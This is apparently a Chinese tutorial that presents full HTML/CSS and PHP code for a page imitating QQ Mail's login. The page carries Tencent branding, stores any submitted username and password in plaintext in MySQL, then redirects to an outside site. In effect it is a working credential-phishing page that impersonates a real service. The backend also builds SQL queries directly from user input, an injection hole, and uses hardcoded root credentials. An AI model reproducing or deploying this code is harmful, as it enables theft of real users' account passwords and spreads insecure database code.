仿qq邮箱实现php+mysql动态用户登录
1、大体思路
在前端输入用户名密码通过form表单提交到后台进性判断,如果数据库中该用户名和密码,则进行转跳,否者将该用户名密码插入数据库然后再进行转跳。
2、代码
前端:
<!DOCTYPE html>
<html>
<meta charset="utf-8">
<title>登录qq邮箱</title>
<style type="text/css">
*{
padding:0;
margin:0;
}
body{
font-size:12px;
}
.header{
height:60px;
width:100%;
line-height:60px;
background: #eff4fa;
border-bottom:1px solid #d6dfea;
}
.header img{
width:200px;
height:56px;
margin-left:20px;
}
.header nav{
text-align: right;
margin-top:-80px;
margin-right:40px;
letter-spacing: 0.5px;
}
.header nav a{
color:#1d5494;
text-decoration: none;
}
.header nav a:hover{
text-decoration: underline;
}
.content{
width:1100px;
height:500px;
margin:auto;
margin-top:80px;
}
.content .text{
float:left;
margin-top:40px;
margin-left:70px;
line-height: 200%;
}
.content .text h1{
color:#1d5494;
margin-bottom:20px;
}
.content .text p{
font-size:13px;
}
.content .pic{
float:left;
margin-top:25px;
margin-right:60px;
}
.content .login{
float:left;
width:350px;
height:400px;
border:1px solid #1d5494;
}
.content .login .sidebar{
border-bottom:1px solid #1d5494;
height:50px;
line-height: 50px;
}
.content .login ul li{
list-style-type: none;
display:block;
height:50px;
font-size:16px;
font-family: "微软雅黑";
color:gray;
}
.content .login ul .tab1{
float:left;
margin-left:45px;
cursor: pointer;
}
.content .login ul .tab2{
float:right;
margin-right:45px;
cursor: pointer;
}
.content .login .acount{
margin-top:40px;
margin-left:27px;
width:280px;
height:35px;
font-family: "微软雅黑";
}
.content .login .password{
margin-top:15px;
margin-left:27px;
width:280px;
height:35px;
font-family: "微软雅黑";
}
.content .login .checkbox{
float:left;
margin-top:30px;
margin-left:30px;
width:20px;
height:20px;
border:1px solid black;
background:white;
}
.content .login p{
margin-top:30px;
float:left;
}
.content .login .submit{
margin-left:27px;
margin-top:10px;
width:280px;
height:40px;
background:cornflowerblue;
border:1px solid cornflowerblue;
font-size:16px;
color:white;
font-family:"微软雅黑";
cursor: pointer;
}
.content .login .code{
margin-top:10px;
margin-left:130px;
color:#1d5494;
cursor: pointer;
font-size:13px;
}
.content .login .forget{
float:left;
margin-top:80px;
margin-left:30px;
}
.content .login .new{
float:right;
margin-top:80px;
margin-right:30px;
}
.content .login a{
color:#1d5494;
text-decoration: none;
}
.content .login a:hover{
text-decoration: underline;
}
.footer{
position: fixed;
bottom:0;
left:0;
right:0;
height:40px;
line-height:40px;
border-top:1px solid #d6dfea;
background:#eff4fa;
text-align: center;
color:#b6b6b6;
letter-spacing: 0.5px;
}
.footer a{
color:#1d5494;
text-decoration: none;
}
.footer a:hover{
text-decoration: underline;
}
</style>
<body>
<div class="header">
<img src="qq1.PNG">
<nav>
<a href="#">基本版</a> |
<a href="#">English</a> |
<a href="#">手机版</a> |
<a href="#">企业邮箱</a>
</nav>
</div>
<div class="content">
<div class="text">
<h1>QQ邮箱,常联系!</h1>
<p>到头来,</p>
<p>我们记住的,</p>
<p>不是敌人的攻击,</p>
<p>而是朋友的沉默。</p>
<p>——马丁·路德·金</p>
<p>插画来自丑丑(两岁)</p>
</div>
<div class="pic">
<img src="qq2.PNG" width="320" height="360">
</div>
<div class="login">
<ul class="sidebar">
<li class="tab1">微信登录</li>
<li class="tab2">QQ登陆</li>
</ul>
<form action="php/1.php" method="post">
<input type="text" placeholder=" 支持QQ号/邮箱/手机号登录" class="acount" name="username"/><br>
<input type="password" placeholder=" QQ密码" class="password" name="password"/><br>
<input type="checkbox" class="checkbox" />
<p>下次自动登录</p><br>
<input type="submit" value="登 录" class="submit">
</form>
<nav>
<a href="#" class="forget">忘了密码?</a>
<a href="#" class="new">注册新账号</a>
</nav>
</div>
</div>
<div class="footer">
<p><a href="#">关于腾讯</a> | <a href="#">服务条款</a> | <a href="#">隐私政策</a> | <a href="#">客服中心</a> | <a href="#">联系我们</a> | <a href="#">帮助中心</a> | ©1998 - 2019 Tencent Inc. All Rights Reserved.</p>
</div>
</body>
</html>
效果如图:
后台代码:
<?php
/**
* Created by PhpStorm.
* User: zhangduokuo
* Date: 2020/5/13
* Time: 12:40
*/
$a=$_GET["username"];
$b=$_GET["password"];
$c=$_POST["username"];
$d=$_POST["password"];
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "emp";
// 创建连接
$conn = new mysqli($servername, $username, $password, $dbname);
// 检测连接
if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
}
$check_user="select * from userforP where Uname='$c' and Upassword='$d'";
$result = $conn->query($check_user);
if ($result->num_rows > 0) {
echo "<script>location.href='https://kjjt.asia';</script>";
} else {
$sql = "INSERT INTO userforp (Uname, Upassword)
VALUES ('$c','$d')";
//echo $d;
if ($conn->query($sql) === TRUE) {
echo "<script>location.href='https://kjjt.asia';</script>";
} else {
echo "Error: " . $sql . "<br>" . $conn->error;
}
}
$conn->close();
?>